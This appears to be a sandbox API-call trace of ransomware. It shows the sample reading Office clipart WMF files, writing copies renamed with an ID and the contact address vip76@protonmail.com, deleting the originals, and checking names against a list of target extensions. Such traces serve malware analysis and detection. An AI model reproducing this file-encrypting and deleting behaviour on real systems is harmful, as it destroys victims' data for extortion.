	[0206.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0206.636] GetLastError () returned 0x0
	[0206.636] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x148c, lpOverlapped=0x0) returned 1
	[0207.044] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0207.046] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.046] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.046] SetEndOfFile (hFile=0x388) returned 1
	[0207.046] CloseHandle (hObject=0x388) returned 1
	[0207.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.046] SetEndOfFile (hFile=0x384) returned 1
	[0207.047] CloseHandle (hObject=0x384) returned 1
	[0207.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.048] lstrlenW (lpString=".doc") returned 4
	[0207.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.048] lstrlenW (lpString=".docx") returned 5
	[0207.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.048] lstrlenW (lpString=".pdf") returned 4
	[0207.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.048] lstrlenW (lpString=".xls") returned 4
	[0207.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.048] lstrlenW (lpString=".xlsx") returned 5
	[0207.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.048] lstrlenW (lpString=".ppt") returned 4
	[0207.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.048] lstrlenW (lpString=".zip") returned 4
	[0207.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.048] lstrlenW (lpString=".rar") returned 4
	[0207.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.048] lstrlenW (lpString=".bz2") returned 4
	[0207.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString=".7z") returned 3
	[0207.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.049] lstrlenW (lpString=".dbf") returned 4
	[0207.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.049] lstrlenW (lpString=".1cd") returned 4
	[0207.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.049] lstrlenW (lpString=".jpg") returned 4
	[0207.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.049] lstrlenW (lpString=".doc") returned 4
	[0207.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString=".docx") returned 5
	[0207.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.049] lstrlenW (lpString=".pdf") returned 4
	[0207.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString=".xls") returned 4
	[0207.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.049] lstrlenW (lpString=".xlsx") returned 5
	[0207.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.049] lstrlenW (lpString=".ppt") returned 4
	[0207.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.049] lstrlenW (lpString=".zip") returned 4
	[0207.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.049] lstrlenW (lpString=".rar") returned 4
	[0207.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.049] lstrlenW (lpString=".bz2") returned 4
	[0207.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.050] lstrlenW (lpString=".7z") returned 3
	[0207.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.050] lstrlenW (lpString=".dbf") returned 4
	[0207.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.050] lstrlenW (lpString=".1cd") returned 4
	[0207.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0207.050] lstrlenW (lpString=".jpg") returned 4
	[0207.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.050] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.050] lstrlenW (lpString="FD01193_.WMF") returned 12
	[0207.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.050] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=1160) returned 1
	[0207.050] CloseHandle (hObject=0x384) returned 1
	[0207.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220
	[0207.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.051] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.051] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.052] GetLastError () returned 0x0
	[0207.052] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x488, lpOverlapped=0x0) returned 1
	[0207.053] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x490, lpOverlapped=0x0) returned 1
	[0207.054] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.054] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.054] SetEndOfFile (hFile=0x388) returned 1
	[0207.054] CloseHandle (hObject=0x388) returned 1
	[0207.054] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.054] SetEndOfFile (hFile=0x384) returned 1
	[0207.055] CloseHandle (hObject=0x384) returned 1
	[0207.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1
	[0207.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.056] lstrlenW (lpString=".doc") returned 4
	[0207.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString=".docx") returned 5
	[0207.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.056] lstrlenW (lpString=".pdf") returned 4
	[0207.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString=".xls") returned 4
	[0207.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.056] lstrlenW (lpString=".xlsx") returned 5
	[0207.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.056] lstrlenW (lpString=".ppt") returned 4
	[0207.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.056] lstrlenW (lpString=".zip") returned 4
	[0207.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.056] lstrlenW (lpString=".rar") returned 4
	[0207.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString=".bz2") returned 4
	[0207.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString=".7z") returned 3
	[0207.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.056] lstrlenW (lpString=".dbf") returned 4
	[0207.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.056] lstrlenW (lpString=".1cd") returned 4
	[0207.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString=".jpg") returned 4
	[0207.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString=".doc") returned 4
	[0207.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString=".docx") returned 5
	[0207.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.057] lstrlenW (lpString=".pdf") returned 4
	[0207.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString=".xls") returned 4
	[0207.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.057] lstrlenW (lpString=".xlsx") returned 5
	[0207.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.057] lstrlenW (lpString=".ppt") returned 4
	[0207.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString=".zip") returned 4
	[0207.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.057] lstrlenW (lpString=".rar") returned 4
	[0207.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString=".bz2") returned 4
	[0207.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString=".7z") returned 3
	[0207.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString=".dbf") returned 4
	[0207.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString=".1cd") returned 4
	[0207.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0207.057] lstrlenW (lpString=".jpg") returned 4
	[0207.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.058] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.058] lstrlenW (lpString="FD01196_.WMF") returned 12
	[0207.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.058] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=2332) returned 1
	[0207.058] CloseHandle (hObject=0x384) returned 1
	[0207.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220
	[0207.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.059] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.059] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.060] GetLastError () returned 0x0
	[0207.060] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x91c, lpOverlapped=0x0) returned 1
	[0207.061] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x920, lpOverlapped=0x0) returned 1
	[0207.062] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.062] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.062] SetEndOfFile (hFile=0x388) returned 1
	[0207.062] CloseHandle (hObject=0x388) returned 1
	[0207.062] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.062] SetEndOfFile (hFile=0x384) returned 1
	[0207.063] CloseHandle (hObject=0x384) returned 1
	[0207.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1
	[0207.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.064] lstrlenW (lpString=".doc") returned 4
	[0207.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.064] lstrlenW (lpString=".docx") returned 5
	[0207.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.064] lstrlenW (lpString=".pdf") returned 4
	[0207.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.064] lstrlenW (lpString=".xls") returned 4
	[0207.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.064] lstrlenW (lpString=".xlsx") returned 5
	[0207.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.064] lstrlenW (lpString=".ppt") returned 4
	[0207.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.064] lstrlenW (lpString=".zip") returned 4
	[0207.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.064] lstrlenW (lpString=".rar") returned 4
	[0207.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString=".bz2") returned 4
	[0207.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString=".7z") returned 3
	[0207.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.065] lstrlenW (lpString=".dbf") returned 4
	[0207.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.065] lstrlenW (lpString=".1cd") returned 4
	[0207.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.065] lstrlenW (lpString=".jpg") returned 4
	[0207.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.065] lstrlenW (lpString=".doc") returned 4
	[0207.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString=".docx") returned 5
	[0207.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.065] lstrlenW (lpString=".pdf") returned 4
	[0207.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString=".xls") returned 4
	[0207.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.065] lstrlenW (lpString=".xlsx") returned 5
	[0207.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.065] lstrlenW (lpString=".ppt") returned 4
	[0207.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.065] lstrlenW (lpString=".zip") returned 4
	[0207.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.065] lstrlenW (lpString=".rar") returned 4
	[0207.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.066] lstrlenW (lpString=".bz2") returned 4
	[0207.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.066] lstrlenW (lpString=".7z") returned 3
	[0207.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.066] lstrlenW (lpString=".dbf") returned 4
	[0207.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.066] lstrlenW (lpString=".1cd") returned 4
	[0207.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0207.066] lstrlenW (lpString=".jpg") returned 4
	[0207.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.066] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.066] lstrlenW (lpString="FD01548_.WMF") returned 12
	[0207.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.066] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=10316) returned 1
	[0207.066] CloseHandle (hObject=0x384) returned 1
	[0207.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220
	[0207.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.067] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.067] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
